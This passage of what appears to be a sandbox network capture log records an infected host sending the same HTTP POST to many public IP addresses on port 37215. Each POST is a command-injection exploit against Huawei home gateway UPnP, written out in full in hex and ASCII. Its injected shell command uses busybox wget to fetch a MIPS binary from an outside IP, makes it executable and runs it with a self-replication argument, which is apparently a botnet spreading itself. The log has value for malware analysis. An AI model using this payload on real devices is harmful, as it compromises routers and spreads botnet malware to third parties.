2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.23	44458	157.170.128.9	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221582890 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.23	43176	157.215.252.1	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221570015 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.23	42574	41.240.149.129	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221570015 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.23	53302	157.143.196.120	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221570015 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.23	56366	197.221.173.151	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221623898 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.23	57502	157.189.184.171	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221646070 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.23	55506	157.6.221.99	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221726894 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.23	47684	41.214.148.214	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221735001 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.23	47728	41.6.98.70	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221748114 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.23	39456	57.35.73.126	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221748114 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.23	53842	197.55.83.122	37215

Timestamp	Bytes transferred	Direction	Data
